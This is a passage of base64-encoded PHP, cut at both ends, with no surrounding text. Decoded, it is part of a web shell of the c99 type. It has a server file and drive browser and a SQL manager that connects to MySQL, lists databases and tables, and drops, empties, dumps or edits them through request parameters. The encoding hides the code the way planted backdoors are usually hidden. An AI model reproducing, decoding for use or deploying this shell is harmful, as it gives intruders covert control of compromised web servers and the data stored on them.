rX2ZyZWVfc3BhY2UiKSkKewogJGZyZWUgPSBkaXNrX2ZyZWVfc3BhY2UoJGQpOwogJHRvdGFsID0gZGlza190b3RhbF9zcGFjZSgkZCk7CiBpZiAoJGZyZWUgPT09IEZBTFNFKSB7JGZyZWUgPSAwO30KIGlmICgkdG90YWwgPT09IEZBTFNFKSB7JHRvdGFsID0gMDt9CiBpZiAoJGZyZWUgPCAwKSB7JGZyZWUgPSAwO30KIGlmICgkdG90YWwgPCAwKSB7JHRvdGFsID0gMDt9CiAkdXNlZCA9ICR0b3RhbC0kZnJlZTsKICRmcmVlX3BlcmNlbnQgPSByb3VuZCgxMDAvKCR0b3RhbC8kZnJlZSksMik7CiBlY2hvICI8YnI+PGI+RnJlZSAiLnZpZXdfc2l6ZSgkZnJlZSkuIiBvZiAiLnZpZXdfc2l6ZSgkdG90YWwpLiIgKCIuJGZyZWVfcGVyY2VudC4iJSk8L2I+IjsKfQplY2hvICI8YnI+IjsKJGxldHRlcnMgPSAiIjsKaWYgKCR3aW4pCnsKICR2ID0gZXhwbG9kZSgiXFwiLCRkKTsKICR2ID0gJHZbMF07CiBmb3JlYWNoIChyYW5nZSgiYSIsInoiKSBhcyAkbGV0dGVyKQogewogICRib29sID0gJGlzZGlza2V0dGUgPSBpbl9hcnJheSgkbGV0dGVyLCRzYWZlbW9kZV9kaXNrZXR0ZXMpOwogIGlmICghJGJvb2wpIHskYm9vbCA9IGlzX2RpcigkbGV0dGVyLiI6XFwiKTt9CiAgaWYgKCRib29sKQogIHsKICAgJGxldHRlcnMgLj0gIjxhIGhyZWY9XCIiLiRzdXJsLiJhY3Q9bHMmZD0iLnVybGVuY29kZSgkbGV0dGVyLiI6XFwiKS4iXCIiLigkaXNkaXNrZXR0ZT8iIG9uY2xpY2s9XCJyZXR1cm4gY29uZmlybSgnTWFrZSBzdXJlIHRoYXQgdGhlIGRpc2tldHRlIGlzIGluc2VydGVkIHByb3Blcmx5LCBvdGhlcndpc2UgYW4gZXJyb3IgbWF5IG9jY3VyLicpXCIiOiIiKS4iPlsgIjsKICAgaWYgKCRsZXR0ZXIuIjoiICE9ICR2KSB7JGxldHRlcnMgLj0gJGxldHRlcjt9CiAgIGVsc2UgeyRsZXR0ZXJzIC49ICI8Zm9udCBjb2xvcj1ncmVlbj4iLiRsZXR0ZXIuIjwvZm9udD4iO30KICAgJGxldHRlcnMgLj0gIiBdPC9hPiAiOwogIH0KIH0KIGlmICghZW1wdHkoJGxldHRlcnMpKSB7ZWNobyAiPGI+RGV0ZWN0ZWQgZHJpdmVzPC9iPjogIi4kbGV0dGVycy4iPGJyPiI7fQp9CmlmIChjb3VudCgkcXVpY2tsYXVuY2gpID4gMCkKewogZm9yZWFjaCgkcXVpY2tsYXVuY2ggYXMgJGl0ZW0pCiB7CiAgJGl0ZW1bMV0gPSBzdHJfcmVwbGFjZSgiJWQiLHVybGVuY29kZSgkZCksJGl0ZW1bMV0pOwogICRpdGVtWzFdID0gc3RyX3JlcGxhY2UoIiVzb3J0Iiwkc29ydCwkaXRlbVsxXSk7CiAgJHYgPSByZWFscGF0aCgkZC4iLi4iKTsKICBpZiAoZW1wdHkoJHYpKSB7JGEgPSBleHBsb2RlKERJUkVDVE9SWV9TRVBBUkFUT1IsJGQpOyB1bnNldCgkYVtjb3VudCgkYSktMl0pOyAkdiA9IGpvaW4oRElSRUNUT1JZX1NFUEFSQVRPUiwkYSk7fQogICRpdGVtWzFdID0gc3RyX3JlcGxhY2UoIiV1cGQiLHVybGVuY29kZSgkdiksJGl0ZW1bMV0pOwogIGVjaG8gIjxhIGhyZWY9XCIiLiRpdGVtWzFdLiJcIj4iLiRpdGVtWzBdLiI8L2E+Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7IjsKIH0KfQplY2hvICI8L3A+PC90ZD48L3RyPjwvdGFibGU+PGJyPiI7CmlmICgoIWVtcHR5KCRkb25hdGVkX2h0bWwpKSBhbmQgKGluX2FycmF5KCRhY3QsJGRvbmF0ZWRfYWN0KSkpIHtlY2hvICI8VEFCTEUgc3R5bGU9XCJCT1JERVItQ09MTEFQU0U6IGNvbGxhcHNlXCIgY2VsbFNwYWNpbmc9MCBib3JkZXJDb2xvckRhcms9IzY2NjY2NiBjZWxsUGFkZGluZz01IHdpZHRoPVwiMTAwJVwiIGJnQ29sb3I9IzMzMzMzMyBib3JkZXJDb2xvckxpZ2h0PSNjMGMwYzAgYm9yZGVyPTE+PHRyPjx0ZCB3aWR0aD1cIjEwMCVcIiB2YWxpZ249XCJ0b3BcIj4iLiRkb25hdGVkX2h0bWwuIjwvdGQ+PC90cj48L3RhYmxlPjxicj4iO30KZWNobyAiPFRBQkxFIHN0eWxlPVwiQk9SREVSLUNPTExBUFNFOiBjb2xsYXBzZVwiIGNlbGxTcGFjaW5nPTAgYm9yZGVyQ29sb3JEYXJrPSM2NjY2NjYgY2VsbFBhZGRpbmc9NSB3aWR0aD1cIjEwMCVcIiBiZ0NvbG9yPSMzMzMzMzMgYm9yZGVyQ29sb3JMaWdodD0jYzBjMGMwIGJvcmRlcj0xPjx0cj48dGQgd2lkdGg9XCIxMDAlXCIgdmFsaWduPVwidG9wXCI+IjsKaWYgKCRhY3QgPT0gIiIpIHskYWN0ID0gJGRzcGFjdCA9ICJscyI7fQppZiAoJGFjdCA9PSAic3FsIikKewogJHNxbF9zdXJsID0gJHN1cmwuImFjdD1zcWwiOwogaWYgKCRzcWxfbG9naW4pICB7JHNxbF9zdXJsIC49ICImc3FsX2xvZ2luPSIuaHRtbHNwZWNpYWxjaGFycygkc3FsX2xvZ2luKTt9CiBpZiAoJHNxbF9wYXNzd2QpIHskc3FsX3N1cmwgLj0gIiZzcWxfcGFzc3dkPSIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3Bhc3N3ZCk7fQogaWYgKCRzcWxfc2VydmVyKSB7JHNxbF9zdXJsIC49ICImc3FsX3NlcnZlcj0iLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9zZXJ2ZXIpO30KIGlmICgkc3FsX3BvcnQpICAgeyRzcWxfc3VybCAuPSAiJnNxbF9wb3J0PSIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3BvcnQpO30KIGlmICgkc3FsX2RiKSAgICAgeyRzcWxfc3VybCAuPSAiJnNxbF9kYj0iLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9kYik7fQogJHNxbF9zdXJsIC49ICImIjsKID8+PGgzPkF0dGVudGlvbiEgU1FMLU1hbmFnZXIgaXMgPHU+Tk9UPC91PiByZWFkeSBtb2R1bGUhIERvbid0IHJlcG9ydHMgYnVncy48L2gzPjxUQUJMRSBzdHlsZT0iQk9SREVSLUNPTExBUFNFOiBjb2xsYXBzZSIgaGVpZ2h0PTEgY2VsbFNwYWNpbmc9MCBib3JkZXJDb2xvckRhcms9IzY2NjY2NiBjZWxsUGFkZGluZz01IHdpZHRoPSIxMDAlIiBiZ0NvbG9yPSMzMzMzMzMgYm9yZGVyQ29sb3JMaWdodD0jYzBjMGMwIGJvcmRlcj0xIGJvcmRlcmNvbG9yPSIjQzBDMEMwIj48dHI+PHRkIHdpZHRoPSIxMDAlIiBoZWlnaHQ9IjEiIGNvbHNwYW49IjIiIHZhbGlnbj0idG9wIj48Y2VudGVyPjw/cGhwCiBpZiAoJHNxbF9zZXJ2ZXIpCiB7CiAgJHNxbF9zb2NrID0gbXlzcWxfY29ubmVjdCgkc3FsX3NlcnZlci4iOiIuJHNxbF9wb3J0LCAkc3FsX2xvZ2luLCAkc3FsX3Bhc3N3ZCk7CiAgJGVyciA9IG15c3FsX3NtYXJ0ZXJyb3IoKTsKICBAbXlzcWxfc2VsZWN0X2RiKCRzcWxfZGIsJHNxbF9zb2NrKTsKICBpZiAoJHNxbF9xdWVyeSBhbmQgJHN1Ym1pdCkgeyRzcWxfcXVlcnlfcmVzdWx0ID0gbXlzcWxfcXVlcnkoJHNxbF9xdWVyeSwkc3FsX3NvY2spOyAkc3FsX3F1ZXJ5X2Vycm9yID0gbXlzcWxfc21hcnRlcnJvcigpO30KIH0KIGVsc2UgeyRzcWxfc29jayA9IEZBTFNFO30KIGVjaG8gIjxiPlNRTCBNYW5hZ2VyOjwvYj48YnI+IjsKIGlmICghJHNxbF9zb2NrKQogewogIGlmICghJHNxbF9zZXJ2ZXIpIHtlY2hvICJOTyBDT05ORUNUSU9OIjt9CiAgZWxzZSB7ZWNobyAiPGNlbnRlcj48Yj5DYW4ndCBjb25uZWN0PC9iPjwvY2VudGVyPiI7IGVjaG8gIjxiPiIuJGVyci4iPC9iPiI7fQogfQogZWxzZQogewogICRzcWxxdWlja2xhdW5jaCA9IGFycmF5KCk7CiAgJHNxbHF1aWNrbGF1bmNoW10gPSBhcnJheSgiSW5kZXgiLCRzdXJsLiJhY3Q9c3FsJnNxbF9sb2dpbj0iLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9sb2dpbikuIiZzcWxfcGFzc3dkPSIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3Bhc3N3ZCkuIiZzcWxfc2VydmVyPSIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3NlcnZlcikuIiZzcWxfcG9ydD0iLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wb3J0KS4iJiIpOwogICRzcWxxdWlja2xhdW5jaFtdID0gYXJyYXkoIlF1ZXJ5Iiwkc3FsX3N1cmwuInNxbF9hY3Q9cXVlcnkmc3FsX3RibD0iLnVybGVuY29kZSgkc3FsX3RibCkpOwogICRzcWxxdWlja2xhdW5jaFtdID0gYXJyYXkoIlNlcnZlci1zdGF0dXMiLCRzdXJsLiJhY3Q9c3FsJnNxbF9sb2dpbj0iLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9sb2dpbikuIiZzcWxfcGFzc3dkPSIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3Bhc3N3ZCkuIiZzcWxfc2VydmVyPSIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3NlcnZlcikuIiZzcWxfcG9ydD0iLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wb3J0KS4iJnNxbF9hY3Q9c2VydmVyc3RhdHVzIik7CiAgJHNxbHF1aWNrbGF1bmNoW10gPSBhcnJheSgiU2VydmVyIHZhcmlhYmxlcyIsJHN1cmwuImFjdD1zcWwmc3FsX2xvZ2luPSIuaHRtbHNwZWNpYWxjaGFycygkc3FsX2xvZ2luKS4iJnNxbF9wYXNzd2Q9Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfcGFzc3dkKS4iJnNxbF9zZXJ2ZXI9Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfc2VydmVyKS4iJnNxbF9wb3J0PSIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3BvcnQpLiImc3FsX2FjdD1zZXJ2ZXJ2YXJzIik7CiAgJHNxbHF1aWNrbGF1bmNoW10gPSBhcnJheSgiUHJvY2Vzc2VzIiwkc3VybC4iYWN0PXNxbCZzcWxfbG9naW49Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfbG9naW4pLiImc3FsX3Bhc3N3ZD0iLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wYXNzd2QpLiImc3FsX3NlcnZlcj0iLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9zZXJ2ZXIpLiImc3FsX3BvcnQ9Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfcG9ydCkuIiZzcWxfYWN0PXByb2Nlc3NlcyIpOwogICRzcWxxdWlja2xhdW5jaFtdID0gYXJyYXkoIkxvZ291dCIsJHN1cmwuImFjdD1zcWwiKTsKICBlY2hvICI8Y2VudGVyPjxiPk15U1FMICIubXlzcWxfZ2V0X3NlcnZlcl9pbmZvKCkuIiAocHJvdG8gdi4iLm15c3FsX2dldF9wcm90b19pbmZvICgpLiIpIHJ1bm5pbmcgaW4gIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfc2VydmVyKS4iOiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3BvcnQpLiIgYXMgIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfbG9naW4pLiJAIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfc2VydmVyKS4iIChwYXNzd29yZCAtIFwiIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfcGFzc3dkKS4iXCIpPC9iPjxicj4iOwogIGlmIChjb3VudCgkc3FscXVpY2tsYXVuY2gpID4gMCkge2ZvcmVhY2goJHNxbHF1aWNrbGF1bmNoIGFzICRpdGVtKSB7ZWNobyAiWyA8YSBocmVmPVwiIi4kaXRlbVsxXS4iXCI+PGI+Ii4kaXRlbVswXS4iPC9iPjwvYT4gXSAiO319CiAgZWNobyAiPC9jZW50ZXI+IjsKIH0KIGVjaG8gIjwvdGQ+PC90cj48dHI+IjsKIGlmICghJHNxbF9zb2NrKSB7Pz48dGQgd2lkdGg9IjI4JSIgaGVpZ2h0PSIxMDAiIHZhbGlnbj0idG9wIj48Y2VudGVyPjxmb250IHNpemU9IjUiPiBpIDwvZm9udD48L2NlbnRlcj48bGk+SWYgbG9naW4gaXMgbnVsbCwgbG9naW4gaXMgb3duZXIgb2YgcHJvY2Vzcy48bGk+SWYgaG9zdCBpcyBudWxsLCBob3N0IGlzIGxvY2FsaG9zdDwvYj48bGk+SWYgcG9ydCBpcyBudWxsLCBwb3J0IGlzIDMzMDYgKGRlZmF1bHQpPC90ZD48dGQgd2lkdGg9IjkwJSIgaGVpZ2h0PSIxIiB2YWxpZ249InRvcCI+PFRBQkxFIGhlaWdodD0xIGNlbGxTcGFjaW5nPTAgY2VsbFBhZGRpbmc9MCB3aWR0aD0iMTAwJSIgYm9yZGVyPTA+PHRyPjx0ZD4mbmJzcDs8Yj5QbGVhc2UsIGZpbGwgdGhlIGZvcm06PC9iPjx0YWJsZT48dHI+PHRkPjxiPlVzZXJuYW1lPC9iPjwvdGQ+PHRkPjxiPlBhc3N3b3JkPC9iPiZuYnNwOzwvdGQ+PHRkPjxiPkRhdGFiYXNlPC9iPiZuYnNwOzwvdGQ+PC90cj48Zm9ybSBhY3Rpb249Ijw/cGhwIGVjaG8gJHN1cmw7ID8+IiBtZXRob2Q9IlBPU1QiPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImFjdCIgdmFsdWU9InNxbCI+PHRyPjx0ZD48aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ic3FsX2xvZ2luIiB2YWx1ZT0icm9vdCIgbWF4bGVuZ3RoPSI2NCI+PC90ZD48dGQ+PGlucHV0IHR5cGU9InBhc3N3b3JkIiBuYW1lPSJzcWxfcGFzc3dkIiB2YWx1ZT0iIiBtYXhsZW5ndGg9IjY0Ij48L3RkPjx0ZD48aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ic3FsX2RiIiB2YWx1ZT0iIiBtYXhsZW5ndGg9IjY0Ij48L3RkPjwvdHI+PHRyPjx0ZD48Yj5Ib3N0PC9iPjwvdGQ+PHRkPjxiPlBPUlQ8L2I+PC90ZD48L3RyPjx0cj48dGQgYWxpZ249cmlnaHQ+PGlucHV0IHR5cGU9InRleHQiIG5hbWU9InNxbF9zZXJ2ZXIiIHZhbHVlPSJsb2NhbGhvc3QiIG1heGxlbmd0aD0iNjQiPjwvdGQ+PHRkPjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJzcWxfcG9ydCIgdmFsdWU9IjMzMDYiIG1heGxlbmd0aD0iNiIgc2l6ZT0iMyI+PC90ZD48dGQ+PGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkNvbm5lY3QiPjwvdGQ+PC90cj48dHI+PHRkPjwvdGQ+PC90cj48L2Zvcm0+PC90YWJsZT48L3RkPjw/cGhwIH0KIGVsc2UKIHsKICAvL1N0YXJ0IGxlZnQgcGFuZWwKICBpZiAoIWVtcHR5KCRzcWxfZGIpKQogIHsKICAgPz48dGQgd2lkdGg9IjI1JSIgaGVpZ2h0PSIxMDAlIiB2YWxpZ249InRvcCI+PGEgaHJlZj0iPD9waHAgZWNobyAkc3VybC4iYWN0PXNxbCZzcWxfbG9naW49Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfbG9naW4pLiImc3FsX3Bhc3N3ZD0iLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wYXNzd2QpLiImc3FsX3NlcnZlcj0iLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9zZXJ2ZXIpLiImc3FsX3BvcnQ9Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfcG9ydCkuIiYiOyA/PiI+PGI+SG9tZTwvYj48L2E+PGhyIHNpemU9IjEiIG5vc2hhZGU+PD9waHAKICAgJHJlc3VsdCA9IG15c3FsX2xpc3RfdGFibGVzKCRzcWxfZGIpOwogICBpZiAoISRyZXN1bHQpIHtlY2hvIG15c3FsX3NtYXJ0ZXJyb3IoKTt9CiAgIGVsc2UKICAgewogICAgZWNobyAiLS0tWyA8YSBocmVmPVwiIi4kc3FsX3N1cmwuIiZcIj48Yj4iLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9kYikuIjwvYj48L2E+IF0tLS08YnI+IjsKICAgICRjID0gMDsKICAgIHdoaWxlICgkcm93ID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHJlc3VsdCkpIHskY291bnQgPSBteXNxbF9xdWVyeSAoIlNFTEVDVCBDT1VOVCgqKSBGUk9NICIuJHJvd1swXSk7ICRjb3VudF9yb3cgPSBteXNxbF9mZXRjaF9hcnJheSgkY291bnQpOyBlY2hvICI8Yj67Jm5ic3A7PGEgaHJlZj1cIiIuJHNxbF9zdXJsLiJzcWxfZGI9Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfZGIpLiImc3FsX3RibD0iLmh0bWxzcGVjaWFsY2hhcnMoJHJvd1swXSkuIlwiPjxiPiIuaHRtbHNwZWNpYWxjaGFycygkcm93WzBdKS4iPC9iPjwvYT4gKCIuJGNvdW50X3Jvd1swXS4iKTwvYnI+PC9iPiI7IG15c3FsX2ZyZWVfcmVzdWx0KCRjb3VudCk7ICRjKys7fQogICAgaWYgKCEkYykge2VjaG8gIk5vIHRhYmxlcyBmb3VuZCBpbiBkYXRhYmFzZS4iO30KICAgfQogIH0KICBlbHNlCiAgewogICA/Pjx0ZCB3aWR0aD0iMSIgaGVpZ2h0PSIxMDAiIHZhbGlnbj0idG9wIj48YSBocmVmPSI8P3BocCBlY2hvICRzcWxfc3VybDsgPz4iPjxiPkhvbWU8L2I+PC9hPjxociBzaXplPSIxIiBub3NoYWRlPjw/cGhwCiAgICRyZXN1bHQgPSBteXNxbF9saXN0X2Ricygkc3FsX3NvY2spOwogICBpZiAoISRyZXN1bHQpIHtlY2hvIG15c3FsX3NtYXJ0ZXJyb3IoKTt9CiAgIGVsc2UKICAgewogICAgPz48Zm9ybSBhY3Rpb249Ijw/cGhwIGVjaG8gJHN1cmw7ID8+Ij48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhY3QiIHZhbHVlPSJzcWwiPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InNxbF9sb2dpbiIgdmFsdWU9Ijw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkc3FsX2xvZ2luKTsgPz4iPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InNxbF9wYXNzd2QiIHZhbHVlPSI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wYXNzd2QpOyA/PiI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3FsX3NlcnZlciIgdmFsdWU9Ijw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkc3FsX3NlcnZlcik7ID8+Ij48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJzcWxfcG9ydCIgdmFsdWU9Ijw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkc3FsX3BvcnQpOyA/PiI+PHNlbGVjdCBuYW1lPSJzcWxfZGIiPjw/cGhwCiAgICAkYyA9IDA7CiAgICAkZGJzID0gIiI7CiAgICB3aGlsZSAoJHJvdyA9IG15c3FsX2ZldGNoX3JvdygkcmVzdWx0KSkgeyRkYnMgLj0gIjxvcHRpb24gdmFsdWU9XCIiLiRyb3dbMF0uIlwiIjsgaWYgKCRzcWxfZGIgPT0gJHJvd1swXSkgeyRkYnMgLj0gIiBzZWxlY3RlZCI7fSAkZGJzIC49ICI+Ii4kcm93WzBdLiI8L29wdGlvbj4iOyAkYysrO30KICAgIGVjaG8gIjxvcHRpb24gdmFsdWU9XCJcIj5EYXRhYmFzZXMgKCIuJGMuIik8L29wdGlvbj4iOwogICAgZWNobyAkZGJzOwogICB9CiAgID8+PC9zZWxlY3Q+PGhyIHNpemU9IjEiIG5vc2hhZGU+UGxlYXNlLCBzZWxlY3QgZGF0YWJhc2U8aHIgc2l6ZT0iMSIgbm9zaGFkZT48aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iR28iPjwvZm9ybT48P3BocAogIH0KICAvL0VuZCBsZWZ0IHBhbmVsCiAgZWNobyAiPC90ZD48dGQgd2lkdGg9XCIxMDAlXCIgaGVpZ2h0PVwiMVwiIHZhbGlnbj1cInRvcFwiPiI7CiAgLy9TdGFydCBjZW50ZXIgcGFuZWwKICAkZGlwbGF5ID0gVFJVRTsKICBpZiAoJHNxbF9kYikKICB7CiAgIGlmICghaXNfbnVtZXJpYygkYykpIHskYyA9IDA7fQogICBpZiAoJGMgPT0gMCkgeyRjID0gIm5vIjt9CiAgIGVjaG8gIjxociBzaXplPVwiMVwiIG5vc2hhZGU+PGNlbnRlcj48Yj5UaGVyZSBhcmUgIi4kYy4iIHRhYmxlKHMpIGluIHRoaXMgREIgKCIuaHRtbHNwZWNpYWxjaGFycygkc3FsX2RiKS4iKS48YnI+IjsKICAgaWYgKGNvdW50KCRkYnF1aWNrbGF1bmNoKSA+IDApIHtmb3JlYWNoKCRkYnNxbHF1aWNrbGF1bmNoIGFzICRpdGVtKSB7ZWNobyAiWyA8YSBocmVmPVwiIi4kaXRlbVsxXS4iXCI+Ii4kaXRlbVswXS4iPC9hPiBdICI7fX0KICAgZWNobyAiPC9iPjwvY2VudGVyPiI7CiAgICRhY3RzID0gYXJyYXkoIiIsImR1bXAiKTsKICAgaWYgKCRzcWxfYWN0ID09ICJ0Ymxkcm9wIikgeyRzcWxfcXVlcnkgPSAiRFJPUCBUQUJMRSI7IGZvcmVhY2goJGJveHRibCBhcyAkdikgeyRzcWxfcXVlcnkgLj0gIlxuYCIuJHYuImAgLCI7fSAkc3FsX3F1ZXJ5ID0gc3Vic3RyKCRzcWxfcXVlcnksMCwtMSkuIjsiOyAkc3FsX2FjdCA9ICJxdWVyeSI7fQogICBlbHNlaWYgKCRzcWxfYWN0ID09ICJ0YmxlbXB0eSIpIHskc3FsX3F1ZXJ5ID0gIiI7IGZvcmVhY2goJGJveHRibCBhcyAkdikgeyRzcWxfcXVlcnkgLj0gIkRFTEVURSBGUk9NIGAiLiR2LiJgIFxuIjt9ICRzcWxfYWN0ID0gInF1ZXJ5Ijt9CiAgIGVsc2VpZiAoJHNxbF9hY3QgPT0gInRibGR1bXAiKSB7aWYgKGNvdW50KCRib3h0YmwpID4gMCkgeyRkbXB0YmxzID0gJGJveHRibDt9IGVsc2VpZigkdGhpc3RibCkgeyRkbXB0YmxzID0gYXJyYXkoJHNxbF90YmwpO30gJHNxbF9hY3QgPSAiZHVtcCI7fQogICBlbHNlaWYgKCRzcWxfYWN0ID09ICJ0YmxjaGVjayIpIHskc3FsX3F1ZXJ5ID0gIkNIRUNLIFRBQkxFIjsgZm9yZWFjaCgkYm94dGJsIGFzICR2KSB7JHNxbF9xdWVyeSAuPSAiXG5gIi4kdi4iYCAsIjt9ICRzcWxfcXVlcnkgPSBzdWJzdHIoJHNxbF9xdWVyeSwwLC0xKS4iOyI7ICRzcWxfYWN0ID0gInF1ZXJ5Ijt9CiAgIGVsc2VpZiAoJHNxbF9hY3QgPT0gInRibG9wdGltaXplIikgeyRzcWxfcXVlcnkgPSAiT1BUSU1JWkUgVEFCTEUiOyBmb3JlYWNoKCRib3h0YmwgYXMgJHYpIHskc3FsX3F1ZXJ5IC49ICJcbmAiLiR2LiJgICwiO30gJHNxbF9xdWVyeSA9IHN1YnN0cigkc3FsX3F1ZXJ5LDAsLTEpLiI7IjsgJHNxbF9hY3QgPSAicXVlcnkiO30KICAgZWxzZWlmICgkc3FsX2FjdCA9PSAidGJscmVwYWlyIikgeyRzcWxfcXVlcnkgPSAiUkVQQUlSIFRBQkxFIjsgZm9yZWFjaCgkYm94dGJsIGFzICR2KSB7JHNxbF9xdWVyeSAuPSAiXG5gIi4kdi4iYCAsIjt9ICRzcWxfcXVlcnkgPSBzdWJzdHIoJHNxbF9xdWVyeSwwLC0xKS4iOyI7ICRzcWxfYWN0ID0gInF1ZXJ5Ijt9CiAgIGVsc2VpZiAoJHNxbF9hY3QgPT0gInRibGFuYWx5emUiKSB7JHNxbF9xdWVyeSA9ICJBTkFMWVpFIFRBQkxFIjsgZm9yZWFjaCgkYm94dGJsIGFzICR2KSB7JHNxbF9xdWVyeSAuPSAiXG5gIi4kdi4iYCAsIjt9ICRzcWxfcXVlcnkgPSBzdWJzdHIoJHNxbF9xdWVyeSwwLC0xKS4iOyI7ICRzcWxfYWN0ID0gInF1ZXJ5Ijt9CiAgIGVsc2VpZiAoJHNxbF9hY3QgPT0gImRlbGV0ZXJvdyIpIHskc3FsX3F1ZXJ5ID0gIiI7IGlmICghZW1wdHkoJGJveHJvd19hbGwpKSB7JHNxbF9xdWVyeSA9ICJERUxFVEUgKiBGUk9NIGAiLiRzcWxfdGJsLiJgOyI7fSBlbHNlIHtmb3JlYWNoKCRib3hyb3cgYXMgJHYpIHskc3FsX3F1ZXJ5IC49ICJERUxFVEUgKiBGUk9NIGAiLiRzcWxfdGJsLiJgIFdIRVJFIi4kdi4iIExJTUlUIDE7XG4iO30gJHNxbF9xdWVyeSA9IHN1YnN0cigkc3FsX3F1ZXJ5LDAsLTEpO30gJHNxbF9hY3QgPSAicXVlcnkiO30KICAgZWxzZWlmICgkc3FsX3RibF9hY3QgPT0gImluc2VydCIpCiAgIHsKICAgIGlmICgkc3FsX3RibF9pbnNlcnRfcmFkaW8gPT0gMSkKICAgIHsKICAgICAka2V5cyA9ICIiOwogICAgICRha2V5cyA9IGFycmF5X2tleXMoJHNxbF90YmxfaW5zZXJ0KTsKICAgICBmb3JlYWNoICgkYWtleXMgYXMgJHYpIHska2V5cyAuPSAiYCIuYWRkc2xhc2hlcygkdikuImAsICI7fQogICAgIGlmICghZW1wdHkoJGtleXMpKSB7JGtleXMgPSBzdWJzdHIoJGtleXMsMCxzdHJsZW4oJGtleXMpLTIpO30KICAgICAkdmFsdWVzID0gIiI7CiAgICAgJGkgPSAwOwogICAgIGZvcmVhY2ggKGFycmF5X3ZhbHVlcygkc3FsX3RibF9pbnNlcnQpIGFzICR2KSB7aWYgKCRmdW5jdCA9ICRzcWxfdGJsX2luc2VydF9mdW5jdHNbJGFrZXlzWyRpXV0pIHskdmFsdWVzIC49ICRmdW5jdC4iICgiO30gJHZhbHVlcyAuPSAiJyIuYWRkc2xhc2hlcygkdikuIiciOyBpZiAoJGZ1bmN0KSB7JHZhbHVlcyAuPSAiKSI7fSAkdmFsdWVzIC49ICIsICI7ICRpKys7fQogICAgIGlmICghZW1wdHkoJHZhbHVlcykpIHskdmFsdWVzID0gc3Vic3RyKCR2YWx1ZXMsMCxzdHJsZW4oJHZhbHVlcyktMik7fQogICAgICRzcWxfcXVlcnkgPSAiSU5TRVJUIElOVE8gYCIuJHNxbF90YmwuImAgKCAiLiRrZXlzLiIgKSBWQUxVRVMgKCAiLiR2YWx1ZXMuIiApOyI7CiAgICAgJHNxbF9hY3QgPSAicXVlcnkiOwogICAgICRzcWxfdGJsX2FjdCA9ICJicm93c2UiOwogICAgfQogICAgZWxzZWlmICgkc3FsX3RibF9pbnNlcnRfcmFkaW8gPT0gMikKICAgIHsKICAgICAkc2V0ID0gbXlzcWxfYnVpbGR3aGVyZSgkc3FsX3RibF9pbnNlcnQsIiwgIiwkc3FsX3RibF9pbnNlcnRfZnVuY3RzKTsKICAgICAkc3FsX3F1ZXJ5ID0gIlVQREFURSBgIi4kc3FsX3RibC4iYCBTRVQgIi4kc2V0LiIgV0hFUkUgIi4kc3FsX3RibF9pbnNlcnRfcS4iIExJTUlUIDE7IjsKICAgICAkcmVzdWx0ID0gbXlzcWxfcXVlcnkoJHNxbF9xdWVyeSkgb3IgcHJpbnQobXlzcWxfc21hcnRlcnJvcigpKTsKICAgICAkcmVzdWx0ID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHJlc3VsdCwgTVlTUUxfQVNTT0MpOwogICAgICRzcWxfYWN0ID0gInF1ZXJ5IjsKICAgICAkc3FsX3RibF9hY3QgPSAiYnJvd3NlIjsKICAgIH0KICAgfQogICBpZiAoJHNxbF9hY3QgPT0gInF1ZXJ5IikKICAgewogICAgZWNobyAiPGhyIHNpemU9XCIxXCIgbm9zaGFkZT4iOwogICAgaWYgKCgkc3VibWl0KSBhbmQgKCEkc3FsX3F1ZXJ5X3Jlc3VsdCkgYW5kICgkc3FsX2NvbmZpcm0pKSB7aWYgKCEkc3FsX3F1ZXJ5X2Vycm9yKSB7JHNxbF9xdWVyeV9lcnJvciA9ICJRdWVyeSB3YXMgZW1wdHkiO30gZWNobyAiPGI+RXJyb3I6PC9iPiA8YnI+Ii4kc3FsX3F1ZXJ5X2Vycm9yLiI8YnI+Ijt9CiAgICBpZiA